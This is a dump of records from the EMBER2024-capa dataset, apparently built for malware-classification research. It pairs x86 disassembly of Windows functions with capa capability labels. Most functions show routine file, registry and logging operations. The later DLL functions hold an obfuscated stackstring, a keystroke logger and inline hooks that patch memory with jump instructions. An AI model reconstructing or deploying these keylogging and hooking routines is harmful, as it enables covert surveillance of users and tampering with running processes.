joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f079
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov eax, ecx
mov dword [ebp - 0x14], edx
push edi
lea ecx, [ebp - 4]
mov dword [ebp - 0xc], eax
xor edi, edi
push ecx
push eax
mov esi, edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov ebx, eax
test ebx, ebx
jne 0x40f0c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40f14d
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
jne 0x40f0d9
mov esi, 0x8007000e
jmp 0x40f14d
push edi
push ebx
push dword [ebp - 4]
push dword [ebp - 0xc]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
jne 0x40f103
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40f146
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push 0x42a488
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
jne 0x40f133
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40f146
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
mov eax, dword [edx + 8]
mov dword [ecx], eax
mov ecx, dword [ebp + 8]
mov edx, dword [edx + 0xc]
mov dword [ecx], edx
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40f182
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push esi
push edi
mov edi, ecx
xor esi, esi
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x40f203
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 5
jne 0x40f1f4
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40f1b4
mov esi, 0x80070005
jmp 0x40f202
test al, 0x10
je 0x40f1bf
mov esi, 0x8000ffff
jmp 0x40f202
test al, 7
je 0x40f202
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x40f1e7
call ebx
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40f202
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x40f202
call ebx
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
pop ebx
pop edi
mov eax, esi
pop esi
ret
Function at 0x40f208
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ebx
push esi
push edi
xor edi, edi
mov edx, 0x104
or ebx, 0xffffffff
mov dword [ebp - 8], edi
call fcn.0040e494
mov esi, eax
test esi, esi
js 0x40f2ee
push dword [ebp - 4]
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
xor eax, eax
mov dword [ebp - 0xc], eax
cmp ebx, 0xffffffff
jne 0x40f2c2
push 0x42a8f8
push eax
push 0x42a66c
push dword [ebp - 4]
lea eax, [ebp - 8]
push str._s_S_05d._S
push eax
call fcn.0040e662
mov edi, dword [ebp - 8]
mov esi, eax
add esp, 0x18
test esi, esi
js 0x40f2e3
push 0
push 0x80
push 1
push 0
push 1
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40f2b4
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
cmp esi, 0x80070050
je 0x40f2b4
test esi, esi
js 0x40f2e3
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, 0x3e8
jl 0x40f247
push ecx
push ecx
mov edx, edi
call fcn.0040e559
mov esi, eax
mov dword [0x42e794], ebx
test esi, esi
jns 0x40f2e3
cmp ebx, 0xffffffff
je 0x40f2e3
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x40f2ee
mov ecx, edi
call fcn.00411336
cmp dword [ebp - 4], 0
je 0x40f2fc
mov ecx, dword [ebp - 4]
call fcn.00411336
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40f307
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x42e058]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x218], eax
or ebx, 0xffffffff
xor eax, eax
push edi
mov edi, eax
mov dword [ebp - 0x210], eax
mov esi, eax
mov dword [ebp - 0x214], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edx, [ebp - 0x210]
mov ecx, eax
call fcn.0040e3a7
lea eax, [ebp - 0x20c]
cmp dword [ebp - 0x210], esi
je 0x40f3f5
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jne 0x40f38c
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40f4ef
lea ecx, [ebp - 0x20c]
xor esi, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x40f397
sub ecx, edx
sar ecx, 1
cmp word [ebp + ecx*2 - 0x20e], 0x5c
je 0x40f3d6
push 0xffffffffffffffff
push 0x42a488
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004143ce
mov esi, eax
add esp, 0x10
test esi, esi
js 0x40f4ef
push 0xffffffffffffffff
push str.Temp_
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004143ce
add esp, 0x10
mov esi, eax
jmp 0x40f419
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x40f421
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x40f4ef
xor ecx, ecx
mov eax, ecx
mov dword [ebp - 0x210], ecx
cmp ebx, 0xffffffff
jne 0x40f4c8
push 0x42a664
push eax
push 0x42a66c
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x214]
push str._s_s_05d._s
push eax
call fcn.0040e64e
mov edi, dword [ebp - 0x214]
mov esi, eax
add esp, 0x18
test esi, esi
js 0x40f4e4
xor eax, eax
push eax
push 0x80
push 1
push eax
push 1
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40f4ac
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
cmp esi, 0x80070050
jne 0x40f4a8
xor ecx, ecx
mov esi, ecx
jmp 0x40f4ae
test esi, esi
js 0x40f4e4
xor ecx, ecx
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp eax, 0x3e8
jl 0x40f42b
jmp 0x40f4ca
xor ecx, ecx
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x40f4d8
mov dword [eax], edi
mov edi, ecx
cmp ebx, 0xffffffff
je 0x40f4e4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x40f4ef
mov ecx, edi
call fcn.00411336
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411647
mov esp, ebp
pop ebp
ret 8
Function at 0x40f8e6
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp + 8]
mov esi, eax
xor ebx, ebx
add esi, esi
or edx, 0xffffffff
cmp dword [0x42f2b8], ebx
jne 0x40f946
mov dword [0x42f2b8], 1
mov ecx, ebx
push 8
mov eax, ecx
pop edi
test al, 1
je 0x40f92c
shr eax, 1
xor eax, 0xedb88320
jmp 0x40f92e
shr eax, 1
dec edi
test edi, edi
jg 0x40f91f
mov dword [ecx*4 + 0x42f2d0], eax
inc ecx
cmp ecx, 0xff
jle 0x40f91a
mov ecx, dword [ebp + 8]
test esi, esi
je 0x40f962
movzx eax, byte [ecx]
xor eax, edx
shr edx, 8
movzx eax, al
xor edx, dword [eax*4 + 0x42f2d0]
inc ecx
sub esi, 1
jne 0x40f94a
mov ecx, dword [ebp - 4]
not edx
mov eax, edx
mov dword [ebp - 8], ebx
xor edx, edx
div dword [ecx + 0xc]
mov esi, edx
cmp dword [ecx + 0xc], ebx
jbe 0x40f9a4
imul edi, esi, 0xc
add edi, dword [ecx + 8]
cmp dword [ebp + 0xc], ebx
je 0x40f9b2
cmp dword [edi + 4], ebx
je 0x40f9a0
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40f9e1
mov ecx, dword [ebp - 4]
cmp dword [edi + 4], ebx
jne 0x40f9ca
cmp dword [edi], ebx
jne 0x40f9ca
xor ebx, ebx
inc ebx
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [edi + 4], ebx
je 0x40f9e1
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40f9e1
mov ecx, dword [ebp - 4]
inc esi
cmp esi, dword [ecx + 0xc]
jb 0x40f9d3
sub esi, dword [ecx + 0xc]
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp eax, dword [ecx + 0xc]
jb 0x40f978
jmp 0x40f9a4
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
jmp 0x40f9a7
Function at 0x410c06
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x42e058]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov eax, 0x104
cmp dword [0x42e794], 0xffffffff
push edi
mov dword [ebp - 0x420], eax
mov edi, str.unknown
mov dword [ebp - 0x41c], esi
mov dword [ebp - 0x418], esi
je 0x410d66
cmp dword [0x42f2bc], esi
je 0x410d66
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x410c7a
push 0x208
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00412da1
add esp, 0xc
push ebx
lea eax, [ebp - 0x418]
push eax
lea edx, [ebp - 0x41c]
lea ecx, [ebp - 0x20c]
call fcn.0040f079
test eax, eax
jns 0x410c9d
mov ebx, esi
mov eax, esi
jmp 0x410ca9
mov ebx, dword [ebp - 0x41c]
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x418], eax
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x410cdc
push 0x208
lea eax, [ebp - 0x414]
push esi
push eax
call fcn.00412da1
add esp, 0xc
call fcn.00411295
push eax
push str._Logging_started:__S_
push 1
call fcn.00410b87
mov ecx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
push eax
movzx eax, cx
push eax
shr ecx, 0x10
push ecx
movzx eax, bx
push eax
shr ebx, 0x10
lea eax, [ebp - 0x20c]
push ebx
push eax
push str.Executable:__S_v_d._d._d._d_r_nComputer__:__S
push 1
call fcn.00410b87
mov eax, dword [0x42e798]
add esp, 0x2c
pop ebx
sub eax, esi
je 0x410d4f
sub eax, 1
je 0x410d48
sub eax, 1
je 0x410d41
sub eax, 1
jne 0x410d54
mov edi, str.debug
jmp 0x410d54
mov edi, str.verbose
jmp 0x410d54
mov edi, str.standard
jmp 0x410d54
mov edi, str.none
push edi
push str.____logging_level:__s____
push 1
call fcn.00410b87
add esp, 0xc
jmp 0x410d69
xor esi, esi
inc esi
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.00411647
mov esp, ebp
pop ebp
ret
Function at 0x410d8c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor ebx, ebx
lea eax, [ebp + 8]
push eax
push ebx
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push ebx
push edx
push ecx
push 0x900
mov esi, ebx
mov dword [ebp - 8], ebx
mov edi, ebx
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
mov ebx, eax
test ebx, ebx
jne 0x410dd9
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x410e4a
test ebx, ebx
je 0x410e19
push 0
lea eax, [ebp - 8]
push eax
mov eax, ebx
sub eax, edi
push eax
mov eax, dword [ebp - 4]
add eax, edi
push eax
push dword [0x42e794]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x410e12
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x410e4a
add edi, dword [ebp - 8]
cmp edi, ebx
jb 0x410dd9
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x42b03c
push dword [0x42e794]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x410e4a
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
cmp dword [ebp - 4], 0
je 0x410e59
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x410e64
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
push ebx
push esi
push edi
push edx
mov edx, ecx
xor ebx, ebx
and dword [ebp - 4], ebx
lea ecx, [ebp - 8]
call fcn.0040e71a
mov edi, dword [ebp - 8]
mov esi, eax
test esi, esi
js 0x410f07
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 8], eax
test eax, eax
je 0x410ed6
push 0
lea ecx, [ebp - 4]
sub eax, ebx
push ecx
push eax
lea eax, [ebx + edi]
push eax
push dword [0x42e794]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x410ecc
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x410f07
add ebx, dword [ebp - 4]
mov eax, dword [ebp - 8]
cmp ebx, eax
jb 0x410e97
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x42b03c
push dword [0x42e794]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x410f07
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test edi, edi
je 0x410f12
mov ecx, edi
call fcn.00411336
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x410f3a
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x218
mov eax, dword [0x42e058]
xor eax, esp
mov dword [esp + 0x214], eax
push ebx
mov ebx, ecx
xor ecx, ecx
push esi
mov dword [esp + 8], ecx
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 0x100
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x2c]
push eax
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
jne 0x411005
lea eax, [esp + 8]
push eax
push 0x2001f
push esi
lea eax, [esp + 0x24]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x41101a
mov ecx, dword [esp + 8]
call fcn.00410f3a
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x41101a
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and dword [esp + 8], 0
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x41101a
jmp 0x41100d
cmp esi, 0x80070103
je 0x411018
test esi, esi
jne 0x41101a
xor ecx, ecx
jmp 0x410f5e
xor esi, esi
cmp dword [esp + 8], 0
je 0x41102b
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x21c]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.00411647
mov esp, ebp
pop ebp
ret

Function at 0x411041
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x42e058]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xffffffffffffffff
push str.SOFTWAREMicrosoftOfficeDeliverySourceEngineDownloads
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004144a6
add esp, 0x10
cmp eax, 0x50
jne 0x41107b
mov eax, 0x8007007a
jmp 0x4110c2
lea eax, [ebp - 0x20c]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov ecx, eax
test ecx, ecx
jne 0x4110d0
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call fcn.00412ae4
pop ecx
pop ecx
test eax, eax
je 0x4110b2
xor ecx, ecx
mov word [eax], cx
cmp cx, word [eax + 2]
je 0x411093
cmp word [ebp - 0x20c], 0
je 0x4110c0
test eax, eax
jne 0x41107b
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411647
mov esp, ebp
pop ebp
ret
cmp ecx, 2
je 0x4110e9
cmp ecx, 3
je 0x4110e9
movzx eax, cx
or eax, 0x80070000
test ecx, ecx
cmovle eax, ecx
jmp 0x4110eb
xor eax, eax
cmp eax, 1
je 0x41107b
jmp 0x4110c2
Function at 0x4110f2
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
mov eax, ecx
push ebx
push esi
lea ecx, [ebp - 4]
mov dword [ebp - 8], eax
push ecx
push 0x2001f
push 0
mov ebx, edx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, 2
jne 0x411121
xor esi, esi
inc esi
jmp 0x411166
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
test esi, esi
js 0x411166
mov ecx, dword [ebp - 4]
call fcn.00410f3a
mov esi, eax
test esi, esi
js 0x411166
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and dword [ebp - 4], 0
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
cmp dword [ebp - 4], 0
je 0x411175
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41163d
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x42c1f8
call fcn.00411d47
push 1
call fcn.00411833
pop ecx
test al, al
jne 0x4114f4
push 7
call fcn.00411b4a
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.004117fe
mov byte [ebp - 0x24], al
mov eax, dword [0x42eb5c]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x4114ed
test eax, eax
jne 0x41155e
mov dword [0x42eb5c], ecx
push 0x4252c8
push 0x4252ac
call fcn.004183be
pop ecx
pop ecx
test eax, eax
je 0x411541
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x411637
push 0x4252a8
push 0x4252a0
call fcn.00418362
pop ecx
pop ecx
mov dword [0x42eb5c], 2
jmp 0x411563
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.004119a0
pop ecx
call fcn.00411b3e
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x411593
push esi
call fcn.00411916
pop ecx
test al, al
je 0x411593
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.00411d41
call esi
call fcn.00411b44
mov esi, eax
cmp dword [esi], edi
je 0x4115b1
push esi
call fcn.00411916
pop ecx
test al, al
je 0x4115b1
push dword [esi]
call fcn.00418680
pop ecx
call fcn.00411c60
movzx eax, ax
push eax
call fcn.0041830f
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.0041858f
test al, al
jne 0x4115dc
push esi
call fcn.004186b8
test bl, bl
jne 0x4115e5
call fcn.0041865b
push edi
push 1
call fcn.004119bd
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x411637
call fcn.00411d8c
ret
call fcn.00411a84
jmp 0x4114d5

Function at 0x4140e2
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsAlloc
push 0x425460
push str.FlsAlloc
push 0
call fcn.00414062
mov esi, eax
add esp, 0x10
test esi, esi
je 0x414114
push dword [ebp + 8]
mov ecx, esi
call fcn.00411d41
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]
Function at 0x414156
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsGetValue
push 0x425484
push str.FlsGetValue
push 2
call fcn.00414062
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x414187
mov ecx, esi
call fcn.00411d41
call esi
jmp 0x41418d
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
pop esi
pop ebp
ret

Function at 0x414190
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsSetValue
push 0x425498
push str.FlsSetValue
push 3
call fcn.00414062
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x4141c4
mov ecx, esi
call fcn.00411d41
call esi
jmp 0x4141ca
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret
Function at 0x10001013
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
and dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
mov esi, 0x10005040
push eax
push esi
mov dword [ebp - 0x2c], 0x4231327b
mov dword [ebp - 0x28], 0x44463545
mov dword [ebp - 0x24], 0x34442d46
mov dword [ebp - 0x20], 0x342d4243
mov dword [ebp - 0x1c], 0x2d303538
mov dword [ebp - 0x18], 0x39394441
mov dword [ebp - 0x14], 0x4531322d
mov dword [ebp - 0x10], 0x35423836
mov dword [ebp - 0xc], 0x33464230
mov dword [ebp - 8], 0x7d46
call sub.MSVCRT.dll_strcpy
pop ecx
mov eax, esi
pop ecx
pop edi
pop esi
leave
ret
Function at 0x10001fa5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push dword [ebp + 8]
and dword [ebp - 4], 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x5f444d43
push eax
mov dword [ebp - 0x10], 0x45544e45
mov dword [ebp - 0xc], 0x4d414752
mov dword [ebp - 8], 0x45
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x10002002
push 4
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10001ffb
push dword [ebp + 0xc]
push 0x10005368
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
and dword [0x100053c0], 0
leave
ret 8

Function at 0x10002042
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
cmp dword [0x100053ac], 2
push edi
jne 0x100020fd
mov edi, dword [ebp + 0xc]
cmp edi, 0x100
ja 0x100020fd
and dword [0x100053ac], 0
and byte [ebp + 0xf], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push 1
push ebx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov esi, eax
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
lea eax, [ebp + 0xa]
push 0
push eax
lea eax, [ebp - 0x100]
push eax
push ebx
push esi
call dword [sym.imp.USER32.dll_ToAscii]
cmp eax, 1
jne 0x100020b2
mov al, byte [ebp + 0xa]
mov byte [ebp + 0xf], al
jmp 0x100020eb
cmp ebx, 0x47
jb 0x100020eb
cmp ebx, 0x49
jbe 0x100020e5
cmp ebx, 0x4a
jbe 0x100020eb
cmp ebx, 0x4d
jbe 0x100020e0
cmp ebx, 0x4e
jbe 0x100020eb
cmp ebx, 0x51
jbe 0x100020db
cmp ebx, 0x52
jne 0x100020eb
mov byte [ebp + 0xf], 0x30
jmp 0x100020eb
sub bl, 0x1e
jmp 0x100020e8
sub bl, 0x17
jmp 0x100020e8
sub bl, 0x10
mov byte [ebp + 0xf], bl
mov al, byte [ebp + 0xf]
pop esi
mov byte [edi + 0x100051e8], al
and byte [edi + 0x100051e9], 0
pop ebx
pop edi
leave
ret 8
Function at 0x10002679
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100040f8
push 0x100037c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
push edi
push esi
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + edi]
mov byte [eax], 0xe9
mov edx, esi
sub edx, ecx
sub edx, 5
mov dword [eax + 1], edx
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push edi
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x1000272e
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000273d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10004108
push 0x100037c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
push 0x40
mov ebx, dword [ebp + 0x10]
push ebx
mov esi, dword [ebp + 8]
push esi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebx - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push ebx
push esi
call edi
or dword [ebp - 4], 0xffffffff
push 1
pop eax
jmp 0x100027c1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret